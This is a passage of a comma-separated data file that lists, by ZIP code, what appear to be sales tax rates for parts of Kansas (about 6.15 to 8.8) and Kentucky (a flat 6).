US-KS-67559,US,KS,67559,6.15,,,, US-KS-67560,US,KS,67560,7.15,,,, US-KS-67561,US,KS,67561,7.65,,,, US-KS-67563,US,KS,67563,7.15,,,, US-KS-67564,US,KS,67564,7.15,,,, US-KS-67565,US,KS,67565,6.15,,,, US-KS-67566,US,KS,67566,7.65,,,, US-KS-67567,US,KS,67567,7.15,,,, US-KS-67568,US,KS,67568,7.65,,,, US-KS-67570,US,KS,67570,7.65,,,, US-KS-67572,US,KS,67572,6.15,,,, US-KS-67573,US,KS,67573,7.15,,,, US-KS-67574,US,KS,67574,8.15,,,, US-KS-67575,US,KS,67575,6.15,,,, US-KS-67576,US,KS,67576,7.15,,,, US-KS-67578,US,KS,67578,8.15,,,, US-KS-67579,US,KS,67579,8.15,,,, US-KS-67581,US,KS,67581,7.65,,,, US-KS-67583,US,KS,67583,7.65,,,, US-KS-67584,US,KS,67584,6.15,,,, US-KS-67585,US,KS,67585,7.65,,,, US-KS-67601,US,KS,67601,8.4,,,, US-KS-67621,US,KS,67621,6.65,,,, US-KS-67622,US,KS,67622,7.4,,,, US-KS-67623,US,KS,67623,7.65,,,, US-KS-67625,US,KS,67625,7.15,,,, US-KS-67626,US,KS,67626,8.15,,,, US-KS-67627,US,KS,67627,6.65,,,, US-KS-67628,US,KS,67628,7.15,,,, US-KS-67629,US,KS,67629,6.9,,,, US-KS-67631,US,KS,67631,8.65,,,, US-KS-67632,US,KS,67632,6.15,,,, US-KS-67634,US,KS,67634,8.15,,,, US-KS-67635,US,KS,67635,8.15,,,, US-KS-67637,US,KS,67637,8.65,,,, US-KS-67638,US,KS,67638,7.15,,,, US-KS-67639,US,KS,67639,6.65,,,, US-KS-67640,US,KS,67640,8.15,,,, US-KS-67642,US,KS,67642,8.15,,,, US-KS-67643,US,KS,67643,7.15,,,, US-KS-67644,US,KS,67644,6.65,,,, US-KS-67645,US,KS,67645,6.9,,,, US-KS-67646,US,KS,67646,7.65,,,, US-KS-67647,US,KS,67647,6.65,,,, US-KS-67648,US,KS,67648,8.15,,,, US-KS-67649,US,KS,67649,8.15,,,, US-KS-67650,US,KS,67650,7.15,,,, US-KS-67651,US,KS,67651,7.65,,,, US-KS-67653,US,KS,67653,7.15,,,, US-KS-67654,US,KS,67654,8.15,,,, US-KS-67656,US,KS,67656,7.65,,,, US-KS-67657,US,KS,67657,6.15,,,, US-KS-67658,US,KS,67658,8.15,,,, US-KS-67659,US,KS,67659,7.15,,,, US-KS-67660,US,KS,67660,6.65,,,, US-KS-67661,US,KS,67661,8.65,,,, US-KS-67663,US,KS,67663,8.15,,,, US-KS-67664,US,KS,67664,6.65,,,, US-KS-67665,US,KS,67665,8.15,,,, US-KS-67667,US,KS,67667,6.65,,,, US-KS-67669,US,KS,67669,7.65,,,, US-KS-67671,US,KS,67671,7.65,,,, US-KS-67672,US,KS,67672,8.65,,,, US-KS-67673,US,KS,67673,8.15,,,, US-KS-67674,US,KS,67674,6.65,,,, US-KS-67675,US,KS,67675,6.15,,,, US-KS-67701,US,KS,67701,7.9,,,, US-KS-67730,US,KS,67730,7.9,,,, US-KS-67731,US,KS,67731,8.15,,,, US-KS-67732,US,KS,67732,7.15,,,, US-KS-67733,US,KS,67733,8.4,,,, US-KS-67734,US,KS,67734,7.15,,,, US-KS-67735,US,KS,67735,8.65,,,, US-KS-67736,US,KS,67736,7.9,,,, US-KS-67737,US,KS,67737,7.9,,,, US-KS-67738,US,KS,67738,8.15,,,, US-KS-67739,US,KS,67739,7.9,,,, US-KS-67740,US,KS,67740,8.15,,,, US-KS-67741,US,KS,67741,8.4,,,, US-KS-67743,US,KS,67743,7.15,,,, US-KS-67744,US,KS,67744,7.9,,,, US-KS-67745,US,KS,67745,7.9,,,, US-KS-67747,US,KS,67747,7.65,,,, US-KS-67748,US,KS,67748,8.15,,,, US-KS-67749,US,KS,67749,8.65,,,, US-KS-67751,US,KS,67751,7.9,,,, US-KS-67752,US,KS,67752,7.9,,,, US-KS-67753,US,KS,67753,7.15,,,, US-KS-67756,US,KS,67756,8.15,,,, US-KS-67757,US,KS,67757,8.15,,,, US-KS-67758,US,KS,67758,6.15,,,, US-KS-67761,US,KS,67761,7.65,,,, US-KS-67762,US,KS,67762,6.15,,,, US-KS-67764,US,KS,67764,7.65,,,, US-KS-67801,US,KS,67801,8.8,,,, US-KS-67831,US,KS,67831,6.15,,,, US-KS-67834,US,KS,67834,7.8,,,, US-KS-67835,US,KS,67835,7.3,,,, US-KS-67836,US,KS,67836,8.15,,,, US-KS-67837,US,KS,67837,7.3,,,, US-KS-67838,US,KS,67838,7.15,,,, US-KS-67839,US,KS,67839,7.15,,,, US-KS-67840,US,KS,67840,6.15,,,, US-KS-67841,US,KS,67841,7.3,,,, US-KS-67842,US,KS,67842,7.8,,,, US-KS-67843,US,KS,67843,7.8,,,, US-KS-67844,US,KS,67844,7.15,,,, US-KS-67846,US,KS,67846,8.3,,,, US-KS-67849,US,KS,67849,7.3,,,, US-KS-67850,US,KS,67850,7.15,,,, US-KS-67851,US,KS,67851,7.8,,,, US-KS-67853,US,KS,67853,7.3,,,, US-KS-67854,US,KS,67854,8.3,,,, US-KS-67855,US,KS,67855,7.15,,,, US-KS-67857,US,KS,67857,7.15,,,, US-KS-67859,US,KS,67859,7.4,,,, US-KS-67860,US,KS,67860,7.15,,,, US-KS-67861,US,KS,67861,8.15,,,, US-KS-67862,US,KS,67862,7.15,,,, US-KS-67863,US,KS,67863,8.15,,,, US-KS-67864,US,KS,67864,8.15,,,, US-KS-67865,US,KS,67865,7.15,,,, US-KS-67867,US,KS,67867,7.3,,,, US-KS-67868,US,KS,67868,7.3,,,, US-KS-67869,US,KS,67869,7.15,,,, US-KS-67870,US,KS,67870,7.65,,,, US-KS-67871,US,KS,67871,8.65,,,, US-KS-67876,US,KS,67876,7.8,,,, US-KS-67877,US,KS,67877,7.9,,,, US-KS-67878,US,KS,67878,8.15,,,, US-KS-67879,US,KS,67879,7.15,,,, US-KS-67880,US,KS,67880,8.15,,,, US-KS-67882,US,KS,67882,7.8,,,, US-KS-67901,US,KS,67901,8.4,,,, US-KS-67905,US,KS,67905,8.4,,,, US-KS-67950,US,KS,67950,7.15,,,, US-KS-67951,US,KS,67951,7.65,,,, US-KS-67952,US,KS,67952,8.15,,,, US-KS-67953,US,KS,67953,6.15,,,, US-KS-67954,US,KS,67954,8.15,,,, US-KY-40003,US,KY,40003,6,,,, US-KY-40004,US,KY,40004,6,,,, US-KY-40006,US,KY,40006,6,,,, US-KY-40007,US,KY,40007,6,,,, US-KY-40008,US,KY,40008,6,,,, US-KY-40009,US,KY,40009,6,,,, US-KY-40010,US,KY,40010,6,,,, US-KY-40011,US,KY,40011,6,,,, US-KY-40012,US,KY,40012,6,,,, US-KY-40013,US,KY,40013,6,,,, US-KY-40014,US,KY,40014,6,,,, US-KY-40018,US,KY,40018,6,,,, US-KY-40019,US,KY,40019,6,,,, US-KY-40020,US,KY,40020,6,,,, US-KY-40022,US,KY,40022,6,,,, US-KY-40023,US,KY,40023,6,,,, US-KY-40025,US,KY,40025,6,,,, US-KY-40026,US,KY,40026,6,,,, US-KY-40027,US,KY,40027,6,,,, US-KY-40031,US,KY,40031,6,,,, US-KY-40032,US,KY,40032,6,,,, US-KY-40033,US,KY,40033,6,,,, US-KY-40036,US,KY,40036,6,,,, US-KY-40037,US,KY,40037,6,,,, US-KY-40040,US,KY,40040,6,,,, US-KY-40041,US,KY,40041,6,,,, US-KY-40045,US,KY,40045,6,,,, US-KY-40046,US,KY,40046,6,,,, US-KY-40047,US,KY,40047,6,,,, US-KY-40048,US,KY,40048,6,,,, US-KY-40049,US,KY,40049,6,,,, US-KY-40050,US,KY,40050,6,,,, US-KY-40051,US,KY,40051,6,,,, US-KY-40052,US,KY,40052,6,,,, US-KY-40055,US,KY,40055,6,,,, US-KY-40056,US,KY,40056,6,,,, US-KY-40057,US,KY,40057,6,,,, US-KY-40058,US,KY,40058,6,,,, US-KY-40059,US,KY,40059,6,,,, US-KY-40060,US,KY,40060,6,,,, US-KY-40061,US,KY,40061,6,,,, US-KY-40062,US,KY,40062,6,,,, US-KY-40063,US,KY,40063,6,,,, US-KY-40065,US,KY,40065,6,,,, US-KY-40066,US,KY,40066,6,,,, US-KY-40067,US,KY,40067,6,,,, US-KY-40068,US,KY,40068,6,,,, US-KY-40069,US,KY,40069,6,,,, US-KY-40070,US,KY,40070,6,,,, US-KY-40071,US,KY,40071,6,,,, US-KY-40075,US,KY,40075,6,,,, US-KY-40076,US,KY,40076,6,,,, US-KY-40077,US,KY,40077,6,,,, US-KY-40078,US,KY,40078,6,,,, US-KY-40104,US,KY,40104,6,,,, US-KY-40107,US,KY,40107,6,,,, US-KY-40108,US,KY,40108,6,,,, US-KY-40109,US,KY,40109,6,,,, US-KY-40110,US,KY,40110,6,,,, US-KY-40111,US,KY,40111,6,,,, US-KY-40115,US,KY,40115,6,,,, US-KY-40117,US,KY,40117,6,,,, US-KY-40118,US,KY,40118,6,,,, US-KY-40119,US,KY,40119,6,,,, US-KY-40121,US,KY,40121,6,,,, US-KY-40122,US,KY,40122,6,,,, US-KY-40129,US,KY,40129,6,,,, US-KY-40140,US,KY,40140,6,,,, US-KY-40142,US,KY,40142,6,,,, US-KY-40143,US,KY,40143,6,,,, US-KY-40144,US,KY,40144,6,,,, US-KY-40145,US,KY,40145,6,,,, US-KY-40146,US,KY,40146,6,,,, US-KY-40150,US,KY,40150,6,,,, US-KY-40152,US,KY,40152,6,,,, US-KY-40153,US,KY,40153,6,,,, US-KY-40155,US,KY,40155,6,,,, US-KY-40157,US,KY,40157,6,,,, US-KY-40159,US,KY,40159,6,,,, US-KY-40160,US,KY,40160,6,,,, US-KY-40161,US,KY,40161,6,,,, US-KY-40162,US,KY,40162,6,,,, US-KY-40165,US,KY,40165,6,,,, US-KY-40166,US,KY,40166,6,,,, US-KY-40170,US,KY,40170,6,,,, US-KY-40171,US,KY,40171,6,,,, US-KY-40175,US,KY,40175,6,,,, US-KY-40176,US,KY,40176,6,,,, US-KY-40177,US,KY,40177,6,,,, US-KY-40178,US,KY,40178,6,,,, US-KY-40201,US,KY,40201,6,,,, US-KY-40202,US,KY,40202,6,,,, US-KY-40203,US,KY,40203,6,,,, US-KY-40204,US,KY,40204,6,,,, US-KY-40205,US,KY,40205,6,,,, US-KY-40206,US,KY,40206,6,,,, US-KY-40207,US,KY,40207,6,,,, US-KY-40208,US,KY,40208,6,,,, US-KY-40209,US,KY,40209,6,,,, US-KY-40210,US,KY,40210,6,,,, US-KY-40211,US,KY,40211,6,,,, US-KY-40212,US,KY,40212,6,,,, US-KY-40213,US,KY,40213,6,,,, US-KY-40214,US,KY,40214,6,,,, US-KY-40215,US,KY,40215,6,,,, US-KY-40216,US,KY,40216,6,,,, US-KY-40217,US,KY,40217,6,,,, US-KY-40218,US,KY,40218,6,,,, US-KY-40219,US,KY,40219,6,,,, US-KY-40220,US,KY,40220,6,,,, US-KY-40221,US,KY,40221,6,,,, US-KY-40222,US,KY,40222,6,,,, US-KY-40223,US,KY,40223,6,,,, US-KY-40224,US,KY,40224,6,,,, US-KY-40225,US,KY,40225,6,,,, US-KY-40228,US,KY,40228,6,,,, US-KY-40229,US,KY,40229,6,,,, US-KY-40231,US,KY,40231,6,,,, US-KY-40232,US,KY,40232,6,,,, US-KY-40233,US,KY,40233,6,,,, US-KY-40241,US,KY,40241,6,,,, US-KY-40242,US,KY,40242,6,,,, US-KY-40243,US,KY,40243,6,,,, US-KY-40245,US,KY,40245,6,,,, US-KY-40250,US,KY,40250,6,,,, US-KY-40251,US,KY,40251,6,,,, US-KY-40252,US,KY,40252,6,,,, US-KY-40253,US,KY,40253,6,,,, US-KY-40255,US,KY,40255,6,,,, US-KY-40256,US,KY,40256,6,,,, US-KY-40257,US,KY,40257,6,,,, US-KY-40258,US,KY,40258,6,,,, US-KY-40259,US,KY,40259,6,,,, US-KY-40261,US,KY,40261,6,,,, US-KY-40266,US,KY,40266,6,,,, US-KY-40268,US,KY,40268,6,,,, US-KY-40269,US,KY,40269,6,,,, US-KY-40270,US,KY,40270,6,,,, US-KY-40272,US,KY,40272,6,,,, US-KY-40280,US,KY,40280,6,,,, US-KY-40281,US,KY,40281,6,,,, US-KY-40282,US,KY,40282,6,,,, US-KY-40283,US,KY,40283,6,,,, US-KY-40285,US,KY,40285,6,,,, US-KY-40287,US,KY,40287,6,,,, US-KY-40289,US,KY,40289,6,,,, US-KY-40290,US,KY,40290,6,,,, US-KY-40291,US,KY,40291,6,,,, US-KY-40292,US,KY,40292,6,,,, US-KY-40293,US,KY,40293,6,,,, US-KY-40294,US,KY,40294,6,,,, US-KY-40295,US,KY,40295,6,,,, US-KY-40296,US,KY,40296,6,,,, US-KY-40297,US,KY,40297,6,,,, US-KY-40298,US,KY,40298,6,,,, US-KY-40299,US,KY,40299,6,,,, US-KY-40310,US,KY,40310,6,,,, US-KY-40311,US,KY,40311,6,,,, US-KY-40312,US,KY,40312,6,,,, US-KY-40313,US,KY,40313,6,,,, US-KY-40316,US,KY,40316,6,,,, US-KY-40317,US,KY,40317,6,,,, US-KY-40319,US,KY,40319,6,,,, US-KY-40322,US,KY,40322,6,,,, US-KY-40324,US,KY,40324,6,,,, US-KY-40328,US,KY,40328,6,,,, US-KY-40330,US,KY,40330,6,,,, US-KY-40334,US,KY,40334,6,,,, US-KY-40336,US,KY,40336,6,,,, US-KY-40337,US,KY,40337,6,,,, US-KY-40339,US,KY,40339,6,,,, US-KY-40340,US,KY,40340,6,,,, US-KY-40342,US,KY,40342,6,,,, US-KY-40346,US,KY,40346,6,,,, US-KY-40347,US,KY,40347,6,,,, US-KY-40348,US,KY,40348,6,,,, US-KY-40350,US,KY,40350,6,,,, US-KY-40351,US,KY,40351,6,,,, US-KY-40353,US,KY,40353,6,,,, US-KY-40355,US,KY,40355,6,,,, US-KY-40356,US,KY,40356,6,,,, US-KY-40357,US,KY,40357,6,,,, US-KY-40358,US,KY,40358,6,,,, US-KY-40359,US,KY,40359,6,,,, US-KY-40360,US,KY,40360,6,,,, US-KY-40361,US,KY,40361,6,,,, US-KY-40362,US,KY,40362,6,,,, US-KY-40363,US,KY,40363,6,,,, US-KY-40366,US,KY,40366,6,,,, US-KY-40370,US,KY,40370,6,,,, US-KY-40371,US,KY,40371,6,,,, US-KY-40372,US,KY,40372,6,,,, US-KY-40374,US,KY,40374,6,,,, US-KY-40376,US,KY,40376,6,,,, US-KY-40379,US,KY,40379,6,,,, US-KY-40380,US,KY,40380,6,,,, US-KY-40383,US,KY,40383,6,,,, US-KY-40384,US,KY,40384,6,,,, US-KY-40385,US,KY,40385,6,,,, US-KY-40387,US,KY,40387,6,,,, US-KY-40390,US,KY,40390,6,,,, US-KY-40391,US,KY,40391,6,,,, US-KY-40392,US,KY,40392,6,,,, US-KY-40402,US,KY,40402,6,,,, US-KY-40403,US,KY,40403,6,,,, US-KY-40404,US,KY,40404,6,,,, US-KY-40405,US,KY,40405,6,,,, US-KY-40409,US,KY,40409,6,,,, US-KY-40410,US,KY,40410,6,,,, US-KY-40419,US,KY,40419,6,,,, US-KY-40422,US,KY,40422,6,,,, US-KY-40423,US,KY,40423,6,,,, US-KY-40434,US,KY,40434,6,,,, US-KY-40437,US,KY,40437,6,,,, US-KY-40440,US,KY,40440,6,,,, US-KY-40442,US,KY,40442,6,,,, US-KY-40444,US,KY,40444,6,,,, US-KY-40445,US,KY,40445,6,,,, US-KY-40446,US,KY,40446,6,,,, US-KY-40447,US,KY,40447,6,,,, US-KY-40448,US,KY,40448,6,,,, US-KY-40452,US,KY,40452,6,,,, US-KY-40456,US,KY,40456,6,,,, US-KY-40460,US,KY,40460,6,,,, US-KY-40461,US,KY,40461,6,,,, US-KY-40464,US,KY,40464,6,,,, US-KY-40468,US,KY,40468,6,,,, US-KY-40472,US,KY,40472,6,,,, US-KY-40473,US,KY,40473,6,,,, US-KY-40475,US,KY,40475,6,,,, US-KY-40476,US,KY,40476,6,,,, US-KY-40481,US,KY,40481,6,,,, US-KY-40484,US,KY,40484,6,,,, US-KY-40486,US,KY,40486,6,,,, US-KY-40488,US,KY,40488,6,,,, US-KY-40489,US,KY,40489,6,,,, US-KY-40492,US,KY,40492,6,,,, US-KY-40502,US,KY,40502,6,,,, US-KY-40503,US,KY,40503,6,,,, US-KY-40504,US,KY,40504,6,,,, US-KY-40505,US,KY,40505,6,,,, US-KY-40506,US,KY,40506,6,,,, US-KY-40507,US,KY,40507,6,,,, US-KY-40508,US,KY,40508,6,,,, US-KY-40509,US,KY,40509,6,,,, US-KY-40510,US,KY,40510,6,,,, US-KY-40511,US,KY,40511,6,,,, US-KY-40512,US,KY,40512,6,,,, US-KY-40513,US,KY,40513,6,,,, US-KY-40514,US,KY,40514,6,,,, US-KY-40515,US,KY,40515,6,,,, US-KY-40516,US,KY,40516,6,,,, US-KY-40517,US,KY,40517,6,,,, US-KY-40522,US,KY,40522,6,,,, US-KY-40523,US,KY,40523,6,,,, US-KY-40524,US,KY,40524,6,,,, US-KY-40526,US,KY,40526,6,,,, US-KY-40533,US,KY,40533,6,,,, US-KY-40536,US,KY,40536,6,,,, US-KY-40544,US,KY,40544,6,,,, US-KY-40546,US,KY,40546,6,,,, US-KY-40550,US,KY,40550,6,,,, US-KY-40555,US,KY,40555,6,,,, US-KY-40574,US,KY,40574,6,,,, US-KY-40575,US,KY,40575,6,,,, US-KY-40576,US,KY,40576,6,,,, US-KY-40577,US,KY,40577,6,,,, US-KY-40578,US,KY,40578,6,,,, US-KY-40579,US,KY,40579,6,,,, US-KY-40580,US,KY,40580,6,,,, US-KY-40581,US,KY,40581,6,,,, US-KY-40582,US,KY,40582,6,,,, US-KY-40583,US,KY,40583,6,,,, US-KY-40588,US,KY,40588,6,,,, US-KY-40591,US,KY,40591,6,,,, US-KY-40598,US,KY,40598,6,,,, US-KY-40601,US,KY,40601,6,,,, US-KY-40602,US,KY,40602,6,,,, US-KY-40603,US,KY,40603,6,,,, US-KY-40604,US,KY,40604,6,,,, US-KY-40618,US,KY,40618,6,,,, US-KY-40619,US,KY,40619,6,,,, US-KY-40620,US,KY,40620,6,,,, US-KY-40621,US,KY,40621,6,,,, US-KY-40622,US,KY,40622,6,,,, US-KY-40701,US,KY,40701,6,,,, US-KY-40702,US,KY,40702,6,,,, US-KY-40724,US,KY,40724,6,,,, US-KY-40729,US,KY,40729,6,,,, US-KY-40730,US,KY,40730,6,,,, US-KY-40734,US,KY,40734,6,,,, US-KY-40737,US,KY,40737,6,,,, US-KY-40740,US,KY,40740,6,,,, US-KY-40741,US,KY,40741,6,,,, US-KY-40742,US,KY,40742,6,,,, US-KY-40743,US,KY,40743,6,,,, US-KY-40744,US,KY,40744,6,,,, US-KY-40745,US,KY,40745,6,,,, US-KY-40755,US,KY,40755,6,,,, US-KY-40759,US,KY,40759,6,,,, US-KY-40763,US,KY,40763,6,,,, US-KY-40769,US,KY,40769,6,,,, US-KY-40771,US,KY,40771,6,,,, US-KY-40801,US,KY,40801,6,,,, US-KY-40803,US,KY,40803,6,,,, US-KY-40806,US,KY,40806,6,,,, US-KY-40807,US,KY,40807,6,,,, US-KY-40808,US,KY,40808,6,,,, US-KY-40810,US,KY,40810,6,,,, US-KY-40813,US,KY,40813,6,,,, US-KY-40815,US,KY,40815,6,,,, US-KY-40816,US,KY,40816,6,,,, US-KY-40818,US,KY,40818,6,,,, US-KY-40819,US,KY,40819,6,,,, US-KY-40820,US,KY,40820,6,,,, US-KY-40823,US,KY,40823,6,,,, US-KY-40824,US,KY,40824,6,,,, US-KY-40826,US,KY,40826,6,,,, US-KY-40827,US,KY,40827,6,,,, US-KY-40828,US,KY,40828,6,,,, US-KY-40829,US,KY,40829,6,,,, US-KY-40830,US,KY,40830,6,,,, US-KY-40831,US,KY,40831,6,,,, US-KY-40840,US,KY,40840,6,,,, US-KY-40843,US,KY,40843,6,,,, US-KY-40844,US,KY,40844,6,,,, US-KY-40845,US,KY,40845,6,,,, US-KY-40847,US,KY,40847,6,,,, US-KY-40849,US,KY,40849,6,,,, US-KY-40854,US,KY,40854,6,,,, US-KY-40855,US,KY,40855,6,,,, US-KY-40856,US,KY,40856,6,,,, US-KY-40858,US,KY,40858,6,,,, US-KY-40862,US,KY,40862,6,,,, US-KY-40863,US,KY,40863,6,,,, US-KY-40865,US,KY,40865,6,,,, US-KY-40868,US,KY,40868,6,,,, US-KY-40870,US,KY,40870,6,,,, US-KY-40873,US,KY,40873,6,,,, US-KY-40874,US,KY,40874,6,,,, US-KY-40902,US,KY,40902,6,,,, US-KY-40903,US,KY,40903,6,,,, US-KY-40906,US,KY,40906,6,,,, US-KY-40913,US,KY,40913,6,,,, US-KY-40914,US,KY,40914,6,,,, US-KY-40915,US,KY,40915,6,,,, US-KY-40921,US,KY,40921,6,,,, US-KY-40923,US,KY,40923,6,,,, US-KY-40927,US,KY,40927,6,,,, US-KY-40930,US,KY,40930,6,,,, US-KY-40932,US,KY,40932,6,,,, US-KY-40935,US,KY,40935,6,,,, US-KY-40939,US,KY,40939,6,,,, US-KY-40940,US,KY,40940,6,,,, US-KY-40941,US,KY,40941,6,,,, US-KY-40943,US,KY,40943,6,,,, US-KY-40944,US,KY,40944,6,,,, US-KY-40946,US,KY,40946,6,,,, US-KY-40949,US,KY,40949,6,,,, US-KY-40951,US,KY,40951,6,,,, US-KY-40953,US,KY,40953,6,,,, US-KY-40955,US,KY,40955,6,,,, US-KY-40958,US,KY,40958,6,,,, US-KY-40962,US,KY,40962,6,,,, US-KY-40964,US,KY,40964,6,,,, US-KY-40965,US,KY,40965,6,,,, US-KY-40972,US,KY,40972,6,,,, US-KY-40977,US,KY,40977,6,,,, US-KY-40979,US,KY,40979,6,,,, US-KY-40981,US,KY,40981,6,,,, US-KY-40982,US,KY,40982,6,,,, US-KY-40983,US,KY,40983,6,,,, US-KY-40988,US,KY,40988,6,,,, US-KY-40995,US,KY,40995,6,,,, US-KY-40997,US,KY,40997,6,,,, US-KY-41001,US,KY,41001,6,,,, US-KY-41002,US,KY,41002,6,,,, US-KY-41003,US,KY,41003,6,,,, US-KY-41004,US,KY,41004,6,,,, US-KY-41005,US,KY,41005,6,,,, US-KY-41006,US,KY,41006,6,,,, US-KY-41007,US,KY,41007,6,,,, US-KY-41008,US,KY,41008,6,,,, US-KY-41010,US,KY,41010,6,,,, US-KY-41011,US,KY,41011,6,,,, US-KY-41012,US,KY,41012,6,,,, US-KY-41014,US,KY,41014,6,,,, US-KY-41015,US,KY,41015,6,,,, US-KY-41016,US,KY,41016,6,,,, US-KY-41017,US,KY,41017,6,,,, US-KY-41018,US,KY,41018,6,,,, US-KY-41019,US,KY,41019,6,,,, US-KY-41022,US,KY,41022,6,,,, US-KY-41030,US,KY,41030,6,,,, US-KY-41031,US,KY,41031,6,,,, US-KY-41033,US,KY,41033,6,,,, US-KY-41034,US,KY,41034,6,,,, US-KY-41035,US,KY,41035,6,,,, US-KY-41037,US,KY,41037,6,,,, US-KY-41039,US,KY,41039,6,,,, US-KY-41040,US,KY,41040,6,,,, US-KY-41041,US,KY,41041,6,,,, US-KY-41042,US,KY,41042,6,,,, US-KY-41043,US,KY,41043,6,,,, US-KY-41044,US,KY,41044,6,,,, US-KY-41045,US,KY,41045,6,,,, US-KY-41046,US,KY,41046,6,,,, US-KY-41048,US,KY,41048,6,,,, US-KY-41049,US,KY,41049,6,,,, US-KY-41051,US,KY,41051,6,,,, US-KY-41052,US,KY,41052,6,,,, US-KY-41053,US,KY,41053,6,,,, US-KY-41055,US,KY,41055,6,,,, US-KY-41056,US,KY,41056,6,,,, US-KY-41059,US,KY,41059,6,,,, US-KY-41061,US,KY,41061,6,,,, US-KY-41062,US,KY,41062,6,,,, US-KY-41063,US,KY,41063,6,,,, US-KY-41064,US,KY,41064,6,,,, US-KY-41065,US,KY,41065,6,,,, US-KY-41071,US,KY,41071,6,,,, US-KY-41072,US,KY,41072,6,,,, US-KY-41073,US,KY,41073,6,,,, US-KY-41074,US,KY,41074,6,,,, US-KY-41075,US,KY,41075,6,,,, US-KY-41076,US,KY,41076,6,,,, US-KY-41080,US,KY,41080,6,,,, US-KY-41081,US,KY,41081,6,,,, US-KY-41083,US,KY,41083,6,,,, US-KY-41085,US,KY,41085,6,,,, US-KY-41086,US,KY,41086,6,,,, US-KY-41091,US,KY,41091,6,,,, US-KY-41092,US,KY,41092,6,,,, US-KY-41093,US,KY,41093,6,,,, US-KY-41094,US,KY,41094,6,,,, US-KY-41095,US,KY,41095,6,,,, US-KY-41096,US,KY,41096,6,,,, US-KY-41097,US,KY,41097,6,,,, US-KY-41098,US,KY,41098,6,,,, US-KY-41099,US,KY,41099,6,,,, US-KY-41101,US,KY,41101,6,,,, US-KY-41102,US,KY,41102,6,,,, US-KY-41105,US,KY,41105,6,,,, US-KY-41114,US,KY,41114,6,,,, US-KY-41121,US,KY,41121,6,,,, US-KY-41124,US,KY,41124,6,,,, US-KY-41128,US,KY,41128,6,,,, US-KY-41129,US,KY,41129,6,,,, US-KY-41132,US,KY,41132,6,,,, US-KY-41135,US,KY,41135,6,,,, US-KY-41139,US,KY,41139,6,,,, US-KY-41141,US,KY,41141,6,,,, US-KY-41142,US,KY,41142,6,,,, US-KY-41143,US,KY,41143,6,,,, US-KY-41144,US,KY,41144,6,,,, US-KY-41146,US,KY,41146,6,,,, US-KY-41149,US,KY,41149,6,,,, US-KY-41159,US,KY,41159,6,,,, US-KY-41160,US,KY,41160,6,,,, US-KY-41164,US,KY,41164,6,,,, US-KY-41166,US,KY,41166,6,,,, US-KY-41168,US,KY,41168,6,,,, US-KY-41169,US,KY,41169,6,,,, US-KY-41171,US,KY,41171,6,,,, US-KY-41173,US,KY,41173,6,,,, US-KY-41174,US,KY,41174,6,,,, US-KY-41175,US,KY,41175,6,,,, US-KY-41179,US,KY,41179,6,,,, US-KY-41180,US,KY,41180,6,,,, US-KY-41181,US,KY,41181,6,,,, US-KY-41183,US,KY,41183,6,,,, US-KY-41189,US,KY,41189,6,,,, US-KY-41201,US,KY,41201,6,,,, US-KY-41203,US,KY,41203,6,,,, US-KY-41204,US,KY,41204,6,,,, US-KY-41214,US,KY,41214,6,,,, US-KY-41216,US,KY,41216,6,,,, US-KY-41219,US,KY,41219,6,,,, US-KY-41222,US,KY,41222,6,,,, US-KY-41224,US,KY,41224,6,,,, US-KY-41226,US,KY,41226,6,,,, US-KY-41230,US,KY,41230,6,,,, US-KY-41231,US,KY,41231,6,,,, US-KY-41232,US,KY,41232,6,,,, US-KY-41234,US,KY,41234,6,,,, US-KY-41238,US,KY,41238,6,,,, US-KY-41240,US,KY,41240,6,,,, US-KY-41250,US,KY,41250,6,,,, US-KY-41254,US,KY,41254,6,,,, US-KY-41255,US,KY,41255,6,,,, US-KY-41256,US,KY,41256,6,,,, US-KY-41257,US,KY,41257,6,,,, US-KY-41260,US,KY,41260,6,,,, US-KY-41262,US,KY,41262,6,,,, US-KY-41263,US,KY,41263,6,,,, US-KY-41264,US,KY,41264,6,,,, US-KY-41265,US,KY,41265,6,,,, US-KY-41267,US,KY,41267,6,,,, US-KY-41268,US,KY,41268,6,,,, US-KY-41271,US,KY,41271,6,,,, US-KY-41274,US,KY,41274,6,,,, US-KY-41301,US,KY,41301,6,,,, US-KY-41307,US,KY,41307,6,,,, US-KY-41310,US,KY,41310,6,,,, US-KY-41311,US,KY,41311,6,,,, US-KY-41314,US,KY,41314,6,,,, US-KY-41317,US,KY,41317,6,,,, US-KY-41332,US,KY,41332,6,,,, US-KY-41333,US,KY,41333,6,,,, US-KY-41339,US,KY,41339,6,,,, US-KY-41347,US,KY,41347,6,,,, US-KY-41348,US,KY,41348,6,,,, US-KY-41351,US,KY,41351,6,,,, US-KY-41352,US,KY,41352,6,,,, US-KY-41360,US,KY,41360,6,,,, US-KY-41364,US,KY,41364,6,,,, US-KY-41365,US,KY,41365,6,,,, US-KY-41366,US,KY,41366,6,,,, US-KY-41367,US,KY,41367,6,,,, US-KY-41368,US,KY,41368,6,,,, US-KY-41385,US,KY,41385,6,,,, US-KY-41386,US,KY,41386,6,,,, US-KY-41390,US,KY,41390,6,,,, US-KY-41397,US,KY,41397,6,,,, US-KY-41408,US,KY,41408,6,,,, US-KY-41413,US,KY,41413,6,,,, US-KY-41421,US,KY,41421,6,,,, US-KY-41425,US,KY,41425,6,,,, US-KY-41426,US,KY,41426,6,,,, US-KY-41451,US,KY,41451,6,,,, US-KY-41459,US,KY,41459,6,,,, US-KY-41464,US,KY,41464,6,,,, US-KY-41465,US,KY,41465,6,,,, US-KY-41472,US,KY,41472,6,,,, US-KY-41501,US,KY,41501,6,,,, US-KY-41502,US,KY,41502,6,,,, US-KY-41503,US,KY,41503,6,,,, US-KY-41512,US,KY,41512,6,,,, US-KY-41513,US,KY,41513,6,,,, US-KY-41514,US,KY,41514,6,,,, US-KY-41517,US,KY,41517,6,,,, US-KY-41519,US,KY,41519,6,,,, US-KY-41520,US,KY,41520,6,,,, US-KY-41522,US,KY,41522,6,,,, US-KY-41524,US,KY,41524,6,,,, US-KY-41526,US,KY,41526,6,,,, US-KY-41527,US,KY,41527,6,,,, US-KY-41528,US,KY,41528,6,,,, US-KY-41531,US,KY,41531,6,,,, US-KY-41534,US,KY,41534,6,,,, US-KY-41535,US,KY,41535,6,,,, US-KY-41537,US,KY,41537,6,,,, US-KY-41538,US,KY,41538,6,,,, US-KY-41539,US,KY,41539,6,,,, US-KY-41540,US,KY,41540,6,,,, US-KY-41542,US,KY,41542,6,,,, US-KY-41543,US,KY,41543,6,,,, US-KY-41544,US,KY,41544,6,,,, US-KY-41547,US,KY,41547,6,,,, US-KY-41548,US,KY,41548,6,,,, 